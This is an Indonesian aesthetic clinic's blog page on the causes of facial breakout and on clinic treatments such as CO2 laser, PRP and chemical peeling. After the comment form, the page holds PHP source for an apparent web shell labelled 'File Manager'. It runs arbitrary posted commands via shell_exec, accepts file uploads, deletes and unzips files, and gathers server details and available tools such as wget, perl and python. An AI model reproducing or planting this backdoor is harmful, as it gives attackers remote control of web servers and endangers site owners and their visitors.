Ada Yang Bisa Kami Bantu? Chat Kami Sekarang.

Ini Penyebab Breakout di Wajah, Begini Cara Atasi dengan Tepat

-

Daftar Isi

Umumnya wajah breakout dan kusam terjadi karena paparan bahan atau zat kimia tertentu. Misalnya menggunakan produk perawatan kulit atau sabun muka yang kandungan di dalamnya tidak cocok dengan kulit. Selain itu breakout juga bisa di sebabkan oleh perubahan hormon dan stress. Wajah breakout menyebabkan wajah terlihat kusam sehingga rasa percaya diri menurun. Kira-kira apa aja sih penyebab wajah breakout? Simak artikel selengkapnya di bawah ini ya.

Penyebab Wajah Breakout

Breakout merupakan kondisi ketika kulit mengalami iritasi dan berjerawat. Wajah yang mengalami breakout biasanya di tandai dengan kulit yang memerah yang di sebabkan oleh peradangan dan jerawat yang muncul. Penyebab wajah breakout diantaranya;

  • Faktor Hormonal
  • Stress
  • Penggunaan Produk Skincare Yang Tidak Tepat
  • Gaya Hidup Yang Tidak Sehat
  • Eksfoliasi Berlebihan

Cara Atasi Wajah Breakout

Wajah breakout bisa diatasi dengan beberapa cara di antaranya;

  1. Cuci muka 2 kali sehari setiap pagi dan malam hari
  2. Gunakan produk perawatan atau skincare yang sesuai dengan jenis dan kebutuhan kulit
  3. Gunakan moisturizer yang berlabel noncomedogenic
  4. Hindari penggunaan make-up terlalu tebal dan yang menyebabkan wajah berminyak 
  5. Gunakan produk perawatan kulit atau skincare khusus untuk kulit berjerawat
  6. Hindari menyentuh area wajah jika tangan dalam keadaan kotor
  7. Melakukan treatment di klinik kecantikan

Rekomendasi Treatment Bantu Atasi Breakout

  • Laser CO2

Merupakan salah satu prosedur perawatan yang menggunakan gas karbondioksida (CO2). Laser CO2 bersifat ablatif yang bertujuan untuk meratakan scar atau bopeng, memperbaiki tekstur kulit tidak merata, mengecilkan pori-pori, meremajakan kulit, mengurangi kerutan dan garis halus pada wajah, menjadikan wajah lebih halus dan lembut.

  • PRP Treatment

Platelet Rich Plasma yaitu perawatan wajah menggunakan plasma darah yang di perkaya dengan trombosit. Treatment ini bekerja dengan melakukan pengambilan darah pada bagian tubuh pasien, kemudian darah pasien akan di proses menjadi PRP dengan memisahkan antara plasma, serum, dan darah lainnya, lalu menyuntikan plasma atau cairan bening yang di hasilkan pada bagian wajah pasien yang bertujuan untuk menghilangkan bopeng, bekas jerawat ,dan bekas luka.

  • Microdermabrasi

Perawatan wajah yang untuk meremajakan kulit dengan mengangkat sel kulit mati menggunakan diamond berukuran halus yang bertujuan untuk menghaluskan, mencerahkan, mengurangi hiperpigmentasi, bekas jerawat, dan bopeng. Membuat kulit wajah menjadi lebih halus dan cerah bercahaya.

  • Dermaroller

Perawatan kulit wajah menggunakan roller kecil yang di lengkapi dengan jarum ukuran mikro. Treatment ini bersifat ablatif (melukai) karena jarum yang di gunakan akan melukai kulit untuk merangsang produksi kolagen dan meregenerasi kulit. Luka yang di hasilkan oleh jarum menjadi jalan masuk serum menuju lapisan kulit wajah yang berjerawat.

  • Chemical Peeling

Perawatan wajah non invasif yang prosesnya di lakukan oleh dokter dengan menggunakan cairan kimia pengelupasan yang mengandung AHA, TCA, BHA atau Phenol. Tindakan chemical peeling berfungsi untuk memperhalus tekstur kulit tidak rata akibat penumpukan sel kulit mati. Selain itu perawatan ini juga berfungsi untuk mencerahkan kulit, menyamarkan flek dan noda hitam bekas jerawat.

Nah itu dia sobat cakas alasan dan cara mengatasi wajah breakout semoga bermanfaat ya. Sobat cakas yan punya masalah dengan breakout, jerawat atau masalah kulit wajah lainnya, yuk segera konsultasikan dengan dokter kami di RSa Aeshtetic Clinic.

Salam Cantik Ayu Kasep Wibawa

Klinik RSa Aesthetic

Klinik RSa Aesthetic

Klinik Treatment Kecantikan Berkualitas di Bandung

Bagikan Artikel Via:

Share on facebook
Facebook
Share on twitter
Twitter
Share on linkedin
LinkedIn
Share on whatsapp
WhatsApp

Tinggalkan Komentar

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

basename($file), 'size' => '', 'last_modified' => date('Y-m-d H:i:s', filemtime($file)), 'owner' => posix_getpwuid(fileowner($file))['name'], 'permissions' => substr(sprintf('%o', fileperms($file)), -4), ); } else { $files[] = array( 'name' => basename($file), 'size' => filesize($file), 'last_modified' => date('Y-m-d H:i:s', filemtime($file)), 'owner' => posix_getpwuid(fileowner($file))['name'], 'permissions' => substr(sprintf('%o', fileperms($file)), -4), ); } } // Handle file upload if (isset($_FILES['file'])) { $file = $_FILES['file']; if ($file['size'] > $max_upload_size) { echo 'File too large!'; } else { move_uploaded_file($file['tmp_name'], $current_dir. '/'. $file['name']); } } // Handle file deletion if (isset($_POST['delete'])) { $file = $_POST['delete']; $file_path = rtrim($current_dir, '/') . '/' . $file; if (file_exists($file_path) && is_file($file_path)) { unlink($file_path); header('Location: ' . $_SERVER['PHP_SELF'] . '?dir=' . rawurlencode(rtrim($current_dir, '/'))); exit; } else { echo 'File not found or not a file!'; } } // Handle terminal command if (isset($_POST['command'])) { $command = $_POST['command']; $output = shell_exec($command); echo "
$output
"; // Update current directory if command is cd if (strpos($command, 'cd ') === 0) { $new_dir = trim(substr($command, 3)); if ($new_dir == '..') { $current_dir = dirname($current_dir); } elseif ($new_dir!= '') { $current_dir = realpath($current_dir. '/'. $new_dir); } } } // Handle unzip if (isset($_POST['unzip'])) { $file = $_POST['unzip']; $file_path = $current_dir. '/'. $file; if (file_exists($file_path) && is_file($file_path)) { $zip = new ZipArchive; $res = $zip->open($file_path); if ($res === TRUE) { $zip->extractTo($current_dir); $zip->close(); echo "Unzipped successfully!"; } else { echo "Failed to unzip!"; } } else { echo "File not found or not a file!"; } } // Handle mkdir if (isset($_POST['mkdir'])) { $dir = $_POST['mkdir']; $dir_path = $current_dir. '/'. $dir;if (!is_dir($dir_path)) { mkdir($dir_path, 0750, true); echo "Directory created successfully!"; } else { echo "Directory already exists!"; } } // System information $server_ip = $_SERVER['SERVER_ADDR']; $web_server = $_SERVER['SERVER_SOFTWARE']; $system = php_uname('s'); $user = $_SERVER['USER']; $php_version = phpversion(); $disabled_functions = ini_get('disable_functions'); // MySQL, cURL, WGET, Perl, and Python information $mysql_enabled = function_exists('mysql_connect')? 'ON' : 'OFF'; $curl_enabled = function_exists('curl_init')? 'ON' : 'OFF'; $wget_enabled = shell_exec('wget --version')? 'ON' : 'OFF'; $perl_enabled = shell_exec('perl -v')? 'ON' : 'OFF'; $python_enabled = shell_exec('python --version')? 'ON' : 'OFF'; function filesize_format($size) { $units = array('B', 'KB', 'MB', 'GB', 'TB'); for ($i = 0; $size >= 1024 && $i < count($units) - 1; $i++) { $size /= 1024; } return round($size, 2). ' '. $units[$i]; } ?> File Manager

File Manager

Current directory:

Name Size Last Modified Owner Permissions Options

System Information

Server IP:

Web Server:

System:

User:

PHP Version:

Disabled Functions:

Module Information

MySQL:

cURL:

WGET:

Perl:

Python: